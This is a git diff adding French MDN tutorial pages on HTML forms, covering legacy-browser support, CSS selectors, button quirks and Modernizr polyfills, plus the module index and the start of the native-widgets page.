+<p><strong>Note </strong>: L'article « <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Sécurité des sites Web</a> » de notre sujet d'apprentissage « <a href="/fr/docs/Learn/Server-side">côté‑serveur</a> » discute les problèmes ci‑dessus et leurs solutions possibles plus en détail.</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Comme vous pouvez le voir, envoyer un formulaire est facile, mais sécuriser son application peut s'avérer plus délicat. <span id="result_box" lang="fr"><span>N'oubliez pas qu'un développeur n'est pas celui qui doit définir le modèle de sécurité des données.</span> <span>Comme nous allons le voir, il est possible d'effectuer la <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">validation des données côté client</a>, mais le serveur ne peut pas faire confiance à cette validation car il n'a aucun moyen de savoir ce qui se passe réellement du côté client.</span></span></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Si vous voulez en savoir plus par rapport aux applications web, vous pouvez consulter ces ressources :</p>
+
+<ul>
+ <li><a href="/fr/docs/Learn/Server-side/First_steps">Programmation d'un site web côté‑serveur : premiers pas</a></li>
+ <li><a href="https://www.owasp.org/index.php/Main_Page" rel="external" title="https://www.owasp.org/index.php/Main_Page">Open Web Application Security Project (OWASP)</a> (Projet pour la sécurité des applications dans un Web ouvert)</li>
+ <li><a href="http://shiflett.org/" rel="external" title="http://shiflett.org/">Blog de Chris Shiflett à propos de la sérité avec PHP</a></li>
+</ul>
+
+<div>
+<div>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires")}}</div>
+</div>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html b/files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html
new file mode 100644
index 0000000000..6c1d043659
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/html_forms_in_legacy_browsers/index.html
@@ -0,0 +1,220 @@
+---
+title: Formulaires HTML dans les navigateurs historiques
+slug: Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers
+translation_of: Learn/Forms/HTML_forms_in_legacy_browsers
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Tout développeur apprend très rapidement (parfois difficilement) que le Web est un endroit assez inconfortable. Le pire des fléaux est le « navigateur historique ». Oui, admettons‑le, si on dit « navigateur historique », nous pensons tous aux anciennes versions d'Internet Explorer ... mais elles sont loin d'être les seules. Les premières versions de Firefox, comme la <a href="http://www.mozilla.org/en-US/firefox/organizations/" title="http://www.mozilla.org/en-US/firefox/organizations/">version ESR,</a> sont aussi des « navigateurs historiques ». Et dans le monde du mobile ? Quand ni le navigateur ni l'OS ne peut être mis à jour? Oui, il y a beaucoup de vieux smartphones Android ou des iPhones dont le navigateur par défaut n'est pas à jour. Ceux-ci sont aussi des « navigateurs historiques ».</p>
+
+<p>Malheureusement, parcourir cette jungle est une facette du métier. Mais opportunément, il existe quelques astuces pour nous aider à résoudre 80 % des problèmes causés par ces vieilles versions de navigateur.</p>
+
+<h2 id="S'informer_sur_les_difficultés">S'informer sur les difficultés</h2>
+
+<p>En fait, lire la documentation sur ces navigateurs est la chose la plus importante pour essayer de comprendre les modèles communs. Par exemple, la prise en charge des CSS est un problème majeur du formulaire HTML dans la plupart des cas. Vous êtes au bon endroit pour commencer. Il suffit de vérifier la prise en charge des éléments (ou interface DOM) que vous voulez utiliser. MDN dispose de tables de compatibilité pour de nombreux éléments, propriétés ou API pouvant être utilisées dans une page Web. Mais il existe d'autres ressources étonnamment utiles :</p>
+
+<h3 id="Documentation_du_fournisseur_du_navigateur">Documentation du fournisseur du navigateur</h3>
+
+<ul>
+ <li>Mozilla : vous êtes au bon endroit, explorez juste MDN</li>
+ <li>Microsoft : <a href="http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx" rel="external" title="http://msdn.microsoft.com/en-us/library/ff410218%28v=vs.85%29.aspx">Documentation sur la prise en charge de la norme par Internet Explorer</a></li>
+ <li>WebKit : comme il y a plusieurs versions de ce moteur, les choses se compliquent :
+  <ul>
+   <li><a href="https://www.webkit.org/blog/" rel="external" title="https://www.webkit.org/blog/">le Blog WebKit</a> et <a href="http://planet.webkit.org/" rel="external" title="http://planet.webkit.org/">Planet WebKit</a> rassemblent les meilleurs articles par les déveoppeurs WebKit.</li>
+   <li><a href="https://www.chromestatus.com/features" title="http://www.chromium.org/developers/web-platform-status">l</a>e site État de la p<a href="https://www.chromestatus.com/features" title="http://www.chromium.org/developers/web-platform-status">lateforme Chrome</a> est aussi importante.</li>
+   <li>ainsi que le<a href="https://developer.apple.com/technologies/safari/" rel="external" title="https://developer.apple.com/technologies/safari/"> site web Apple .</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Documentation_indépendante">Documentation indépendante</h3>
+
+<ul>
+ <li><a href="http://caniuse.com" rel="external" title="http://caniuse.com">Can I Use</a> a des informations sur la prise en charge des techniques avancées. </li>
+ <li><a href="http://www.quirksmode.org" rel="external" title="http://www.quirksmode.org">Quirks Mode</a> est une surprenante ressource sur la compatibilité des divers navigateurs. <a href="http://www.quirksmode.org/mobile/" rel="external" title="http://www.quirksmode.org/mobile/">La partie sur les mobiles</a> est la meilleure actuellement disponible.</li>
+ <li><a href="http://positioniseverything.net/" rel="external" title="http://positioniseverything.net/">Position Is Everything</a> est la meilleure ressource disponible sur les bogues de rendu dans les navigateurs historiques et leur solution de contournement (le cas échéant).</li>
+ <li><a href="http://mobilehtml5.org" rel="external" title="http://mobilehtml5.org">Mobile HTML5</a> dispose d'informations de compatibilité pour une large gamme de navigateurs pour mobiles, et pas seulement pour le « top 5 » (y compris Nokia, Amazon et Blackberry).</li>
+</ul>
+
+<h2 id="Rendre_les_choses_simples">Rendre les choses simples</h2>
+
+<p> </p>
+
+<p>Comme les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a> impliquent des interactions complexes, une règle empirique : <a href="https://fr.wikipedia.org/wiki/Principe_KISS">restez aussi simple que possible</a>. Il y a tant de cas où nous voudrions que des formulaires soient  « plus beaux » ou « avec des fonctionnalités avancées » ! Mais construire des formulaires HTML efficaces n'est pas une question de design ou de technique. Pour rappel, prenez le temps de lire cet article sur l'<a href="http://www.uxforthemasses.com/forms-usability/">ergonomie des formulaires sur UX For The Masses</a> (en anglais).</p>
+
+<h3 id="La_simplification_élégante_est_la_meilleure_amie_du_développeur_Web">La simplification élégante est la meilleure amie du développeur Web</h3>
+
+<p><a href="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/" rel="external" title="http://www.sitepoint.com/progressive-enhancement-graceful-degradation-choice/">Une simplification élégante et des améliorations progressives</a> sont des modèles de développement qui permettent de construire des grands projets prenant en charge une large gamme de navigateurs simultanément. Quand vous créez quelque chose pour un navigateur moderne, et que vous voudriez être sûrs que, l'un l'autre, il fonctionne sur des navigateurs historiques, vous faites de la simplification élégante.</p>
+
+<p>Voyons quelques exemples relatifs aux formulaires en HTML.</p>
+
+<h4 id="Types_d'entrées_en_HTML">Types d'entrées en HTML</h4>
+
+<p>Les nouveaux types d'entrées amenés par HTML5 sont très sympas car la façon dont ils simplifient est grandement prévisible. Si un navigateur ne connaît pas la valeur de l'attribut {{htmlattrxref("type","input")}} d'un élément {{HTMLElement("input")}}, il prendra une valeur <code>text</code> en recours.</p>
+
+<pre class="brush: html">&lt;label for="myColor"&gt;
+ Choisir une couleur
+  &lt;input type="color" id="myColor" name="color"&gt;
+&lt;/label&gt;</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">Chrome 24</th>
+   <th scope="col" style="text-align: center;">Firefox 18</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th style="text-align: center;"><img alt="Capture d'écran de l'entrée de couleur sur Chrome pour Mac OSX" src="https://mdn.mozillademos.org/files/16009/choix_chrome.png" style="height: 32px; width: 227px;"></th>
+   <th style="text-align: center;"><img alt="Capture d'écran de l'entrée de couleur sur Firefox" src="https://mdn.mozillademos.org/files/16010/choix_firefox.png" style="height: 36px; width: 227px;"></th>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Sélecteurs_d'attributs_CSS">Sélecteurs d'attributs CSS</h4>
+
+<p>Les <a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut" title="/en-US/docs/CSS/Attribute_selectors">sélecteurs d'attributs CSS</a> sont très utiles avec les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a>, mais certains navigateurs historiques ne les prennent pas en charge. Dans ce cas, il est courant de doubler le type avec une classe équivalente :</p>
+
+<pre class="brush: html">&lt;input type="number" class="number"&gt;</pre>
+
+<pre class="brush: css">input[type=number] {
+  /* Ceci peut échouer avec certains navigateurs */
+}
+
+input.number {
+  /* Ceci fonctionne partout */
+}</pre>
+
+<p>Notez que ce qui suit n'est pas utile (car redondant) et peut échouer dans certains navigateurs :</p>
+
+<pre class="brush: css">input[type=number],
+input.number {
+  /* Ceci peut échouer dans certains navigateurs ; s'il ne comprennent pas
+     l'un des sélecteurs, il sautent la totalité de la règle */
+}</pre>
+
+<h4 id="Boutons_et_formulaires">Boutons et formulaires</h4>
+
+<p>Il y a deux manières de définir un bouton dans un formulaire HTML :</p>
+
+<ul>
+ <li>un élément {{HTMLElement("input")}} avec un attribut {htmlattrxref("type","input")}} défini avec une des valeurs <code>button</code>, <code>submit</code>, <code>reset</code> ou <code>image</code></li>
+ <li>un élément {{HTMLElement("button")}}</li>
+</ul>
+
+<p>L'élément {{HTMLElement("input")}} peut rendre les choses compliquées si vous voulez appliquer des CSS avec un sélecteur d'élément :</p>
+
+<pre class="brush: html">&lt;input type="button" class="button" value="Cliquez‑moi"&gt;</pre>
+
+<pre class="brush: css">input {
+  /* Cette règle annule le rendu par défaut défini avec un élément input */
+  border: 1px solid #CCC;
+}
+
+input.button {
+  /* Le rendu par défaut N'EST PAS restauré avec ceci */
+  border: none;
+}
+
+input.button {
+  /* Avec ceci non plus ! En fait, il n'y a pas de méthode standard pour
+     le faire quel que soit le navigateur */
+  border: auto;
+}</pre>
+
+<p>L'élément {{HTMLElement("button")}} présente deux problèmes potentiels :</p>
+
+<ul>
+ <li>
+  <p>un bogue dans certaines anciennes versions d'Internet Explorer. Lorsque l'utilisateur clique sur le bouton, ce n'est pas le contenu de l'attribut {{htmlattrxref("value", "button")}} qui est envoyé, mais le contenu HTML disponible entre balises de début et de fin de l'élément {{HTMLElement("button")}}. Ce n'est un problème que si vous voulez envoyer une telle valeur, par exemple si le traitement des données dépend du bouton sur lequel l'utilisateur clique.</p>
+ </li>
+ <li>certains navigateurs très anciens n'utilisent pas <code>submit</code> comme valeur par défaut  pour l'attribut {{htmlattrxref("type","button")}}, donc il est recommandé de toujours définir l'attribut {{htmlattrxref("type","button")}} pour les éléments {{HTMLElement("button")}}.</li>
+</ul>
+
+<pre class="brush: html">&lt;!-- Cliquer sur ce boutton envoie « &lt;em&gt;Do A&lt;/em&gt; » au lieu de « A » dans certains cas --&gt;
+&lt;button type="submit" name="IWantTo" value="A"&gt;
+  &lt;em&gt;Do A&lt;/em&gt;
+&lt;/button&gt;</pre>
+
+<p>Le choix de l'une ou l'autre solution vous appartient, selon les contraintes du projet.</p>
+
+<h3 id="Laissez_tomber_les_CSS">Laissez tomber les CSS</h3>
+
+<p>Le plus gros problème avec les formulaires HTML et les navigateurs historiques est la prise en charge des CSS. Comme vous pouvez le constater, vu la complexité de la <a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a>, c'est très difficile. Même s'il est toujours possible de faire quelques ajustements sur les éléments de texte (comme la taille ou la couleur de police), il y a toujours des effets secondaires. La meilleure approche reste de ne faire aucune composition des widgets de formulaire HTML. Mais vous pouvez toujours appliquer des styles à tous les éléments environnants. Si vous êtes un professionnel et que votre client le réclame, dans ce cas, vous pouvez étudier certaines techniques difficiles telles que la <a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">construction de widgets avec JavaScript</a>. Mais dans ce cas, n'hésitez pas à facturer votre client pour ce caprice.</p>
+
+<h2 id="Détection_de_fonctionnalité_et_prothèses_d'émulation_(polyfills)">Détection de fonctionnalité et prothèses d'émulation (<em>polyfills</em>)</h2>
+
+<p>Bien que JavaScript soit un langage de programmation remarquable pour les navigateurs modernes, les navigateurs historiques ont de nombreux problèmes avec cette technique.</p>
+
+<h3 id="JavaScript_non_obstructif">JavaScript non obstructif</h3>
+
+<p>Un des plus gros problèmes est la disponibilité des API. Pour cette raison, il est considéré comme de bonne pratique de travailler avec du JavaScript « non obstructif ». C'est un modèle de développement défini par deux obligations :</p>
+
+<ul>
+ <li>une séparation stricte entre structure et comportement.</li>
+ <li>si le fil du code casse, le contenu et les fonctionnalités de base doivent rester accessibles et utilisables.</li>
+</ul>
+
+<p><a href="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript" rel="external" title="http://docs.webplatform.org/wiki/concepts/programming/the_principles_of_unobtrusive_javascript">Les principes d'un JavaScript non obstructif</a> (écrit à l'origine par Peter-Paul Koch pour Dev.Opera.com et maintenant mis sur Docs.WebPlatform.org) descrit très bien ces idées.</p>
+
+<h3 id="La_bibliothèque_Modernizr">La bibliothèque Modernizr</h3>
+
+<p>Dans de nombreux cas, une bonne prothèse d'émulation (« polyfill ») peut aider en fournissant une API manquante. Un « <a href="http://remysharp.com/2010/10/08/what-is-a-polyfill/" rel="external" title="http://remysharp.com/2010/10/08/what-is-a-polyfill/">polyfill »</a> est un petit morceau de JavaScript qui « remplit un trou » dans les fonctionnalités des navigateurs historiques. Bien qu'ils puissent être utilisés pour améliorer la prise en charge de n'importe quelle fonctionnalité, leur utilisation dans le JavaScript est moins risquée que dans les CSS ou le HTML ; il existe de nombreux cas où JavaScript peut casser (problèmes de réseau, conflits de script, etc.). Mais avec le JavaScript, à condition de travailler avec un JavaScript non obstructif, si les polyfills manquent, ce ne sera pas grave.</p>
+
+<p>La meilleure façon de remplir un trou d'API manquante consiste à utiliser la bibliothèque <a href="http://modernizr.com" rel="external" title="http://modernizr.com">Modernizr</a> et son projet dérivé : <a href="http://yepnopejs.com" rel="external" title="http://yepnopejs.com">YepNope</a>. Modernizr est une bibliothèque qui vous permet de tester la disponibilité d'une fonctionnalité pour une action en accord. YepNope est une bibliothèqe de chargements conditionnels.</p>
+
+<p>Voici un exemple :</p>
+
+<pre class="brush: js">Modernizr.load({
+  // Cette ligne teste si le navigateur prend en charge l'API
+  // de validation de formulaires HTML5
+  test : Modernizr.formvalidation,
+
+  // Si ce n'est pas le cas, le polyfill suivant sera chargé
+  nope : form-validation-API-polyfill.js,
+
+  // En tout cas, le fichier au cœur de l'application, et dont elle dépend,
+  // est chargé
+  both : app.js,
+
+  // Une fois les deux fichiers chargés, cette fonction est appelée
+  // dans le but d'initialiser l'application
+  complete : function () {
+    app.init();
+  }
+});</pre>
+
+<p>L'équipe de Modernizr fait une maintenance opportune de grande liste de « <a href="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills" rel="external" title="https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills">polyfills »</a>. Prenez celui dont vous avez besoin.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Modernizr a d'autres fonctionnalités remarquables pour faciliter le traitement du JavaScript non obstructif et les tecniques de simplifications élégantes. Prenez connaissance de <a href="http://modernizr.com/docs/" rel="external" title="http://modernizr.com/docs/"> la documentation de Modernizr</a>.</p>
+</div>
+
+<h3 id="Faites_attention_aux_performances">Faites attention aux performances</h3>
+
+<p>Même si des scripts comme Modernizr sont très attentifs aux performances, le chargement d'un polyfill de 200 kilooctets peut affecter les performances de votre application.  Ceci est particulièrement critique avec les navigateurs historiques ; beaucoup d'entre eux ont un moteur JavaScript très lent qui peut rendre l'exécution de tous vos polyfills pénibles pour l'utilisateur. La performance est un sujet en soi ; les navigateurs historiques y sont très sensibles : fondamentalement, ils sont lents et ils ont plus besoin de polyfills, et donc ils ont besoin de traiter encore plus de JavaScript. Ils sont donc doublement surchargés par rapport aux navigateurs modernes. Testez votre code avec les navigateurs historiques pour voir comment leur fonctionnement en conditions réelles. Parfois, l'abandon de certaines fonctionnalités amène un meilleur ressenti pour l'utilisateur que d'avoir exactement la même fonctionnalité dans tous les navigateurs. Dernier rappel : pensez toujours à l'utilisateur final.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Comme vous pouvez le constater, opérer avec des navigateurs historiques  n'est pas qu'une question de formulaires. C'est tout un ensemble de techniques ; mais les maîtriser toutes dépasserait le cadre de cet article.</p>
+
+<p>Si vous avez lu tous les articles de ce <a href="/fr/docs/Web/Guide/HTML/Forms_in_HTML">guide à propos des formulaires en HTML</a>, vous devriez maintenant être à l'aise avec leur utilisation. Si vous trouvez de nouvelles techniques ou de nouvelles astuces, aidez‑nous à <a href="/fr/docs/MDN/Débuter_sur_MDN">améliorer ce guide</a>.</p>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/index.html b/files/fr/web/guide/html/formulaires/index.html
new file mode 100644
index 0000000000..9927bd3385
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/index.html
@@ -0,0 +1,81 @@
+---
+title: Formulaires HTML
+slug: Web/Guide/HTML/Formulaires
+tags:
+  - Apprentissage
+  - Featured
+  - Formulaires
+  - Guide
+  - HTML
+  - Web
+translation_of: Learn/Forms
+---
+<p>{{learnSidebar}}</p>
+
+<blockquote>
+<p><span class="seoSummary">Ce guide est constitué d'une série d'articles qui vous aideront à maîtriser les formulaires HTML</span>. Les formulaires HTML sont des outils très puissants pour interagir avec l'utilisateur ; toutefois, à cause de raisons historiques et techniques, il n'est pas forcément évident de savoir comment les utiliser de manière optimale. Nous allons aborder tous les aspects des formulaires HTML, de la structure à la décoration, de la gestion des données aux widgets sur-mesure.</p>
+</blockquote>
+
+<h2 id="Prérequis">Prérequis</h2>
+
+<p>Avant de vous lancer dans  ce module, vous devez au moins avoir travaillé notre <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>. À partir de là, vous devriez trouver les {{anch("Éléments de base")}} faciles à comprendre et également être capable de vous servir du guide pour  les <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">widgets natifs pour formulaire</a>.</p>
+
+<p>Le reste du module est toutefois un peu plus difficile — il est facile de placer des widgets de formulaire dans une page, mais vous ne pourrez pas en faire vraiment quelque chose sans utiliser quelques fonctionnalités plus avancées, les CSS et le JavaScript. C'est pourquoi, avant de regarder ces autres parties, nous vous recommandons de faire un détour et de procéder d'abord à l'étude des <a href="/fr/Apprendre/CSS/Introduction_à_CSS">CSS</a> et du <a href="/fr/docs/Apprendre/JavaScript">JavaScript</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Si vous travaillez sur un ordinateur/tablette/autre appareil sur lequel vous n'avez pas la possiblité de créer vos propres fichiers, vous pourrez essayer (la pluspart) des exemples de code sur un programme de codage en ligne comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Éléments_de_base"><a id="Basic_guides" name="Basic_guides"></a>Éléments de base</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></dt>
+ <dd>Le premier article de notre série vous donne une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et le comment de l'envoi des données à un serveur.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML" title="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></dt>
+ <dd>Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.</dd>
+</dl>
+
+<h2 id="Quels_sont_les_widgets_pour_formulaire_disponibles">Quels sont les widgets pour formulaire disponibles ?</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></dt>
+ <dd>Nous examinons maintenant en détail les fonctionnalités des widgets pour formulaire, en regardant quelles sont les options disponibles pour collecter différentes types de données.</dd>
+</dl>
+
+<h2 id="Validation_et_soumission_des_données_de_formulaires">Validation et soumission des données de formulaires</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">Envoi des données de formulaire</a></dt>
+ <dd>Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Validation des données de formulaire</a></dt>
+ <dd>Ce n'est pas tout d'envoyer des données — il faut aussi s'assurer que les données mises dans un formulaire par un utilisateur sont de format correct pour pouvoir les traiter correctement et qu'elles ne vont pas casser nos applications. Nous voulons également aider les utilisateurs à compléter les formulaires correctement et à ne pas ressentir de frustration en essayant d'utiliser nos applications. La validation et la soumission des données des formulaires vous aidera à remplir ces objectifs — cet article indique ce qui est nécessaire de savoir.</dd>
+</dl>
+
+<h2 id="Guides_avancés">Guides avancés</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets de formulaires personnalisés</a></dt>
+ <dd>Nous allons voir quelques cas où les widgets natifs ne donnent pas ce dont vous avez besoin, pour des raisons fonctionnelles ou de style par exemple. Dans de tels cas, vous pouvez avoir besoin de construire vous même un widget de formulaire en dehors du HTML brut. Cet article explique comment faire, ainsi que les considérations à prendre en compte ce faisant, le tout à l'aide de l'étude d'un cas particulier.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></dt>
+ <dd>Cet article examine les manières d'utiliser un formulaire pour assembler une requête HTTP et l'adresser par l'intermédiaire d'un JavaScript personnalisé, au lieu d'une soumission standard de formulaire. Il examine aussi pourquoi vous pouvez souhaiter faire ainsi et ce que cela implique corrélativement. (Voir aussi « Utilisation des objets FormData ».)</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></dt>
+ <dd>Cet article couvre les détections de fonctionnalité, etc. Elles doivent être redirigées dans le module de tests croisés entre navigateurs, car la même problématique y sera mieux traitée.</dd>
+</dl>
+
+<h2 id="Guides_de_mise_en_forme_des_formulaires">Guides de mise en forme des formulaires</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></dt>
+ <dd>Cet article est une introduction à la mise en forme des formulaires à l'aide des CSS, y compris tous les éléments de base qu'il est nécessaire de connaître pour les tâches de décoration élémentaires.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></dt>
+ <dd>Dans cet article, nous regarderons des techniques de mise en forme plus avancées qu'il est nécessaire d'utiliser pour opérer sur les éléments les plus difficiles à traiter.</dd>
+ <dt><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Tableau de compatibilité des propriétés entre widgets de formulaire</a></dt>
+ <dd>Ce dernier article fournit un référentiel pratique vous permettant de rechercher quelles propriétés des CSS sont compatibles avec tel ou tel élément de formulaire.</dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Element#Forms">Référentiel pour éléments de formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/HTML/Element/input">Référentiel pour les types &lt;input&gt; en HTML</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html b/files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html
new file mode 100644
index 0000000000..97c4a12af6
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/les_blocs_de_formulaires_natifs/index.html
@@ -0,0 +1,683 @@
+---
+title: Les widgets de formulaire natifs
+slug: Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs
+tags:
+  - Contrôles
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Web
+  - Widgets
+translation_of: Learn/Forms/Basic_native_form_controls
+---
+<div>{{LearnSidebar}}<br>
+{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Nous examinerons maintenant en détail les fonctionnalités des divers widgets pour formulaires, en soulignant les options disponibles pour collecter les différents types de données. Ce guide vise à être exhaustif en couvrant tous les widgets natifs de formulaire disponibles.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prérequis :</th>
+   <td>Notions concernant les ordinateurs et les <a class="new" href="https://developer.mozilla.org/fr/docs/Apprendre/HTML/Introduction_à_HTML" rel="nofollow">connaissances de base du HTML</a>.</td>
+  </tr>
+  <tr>
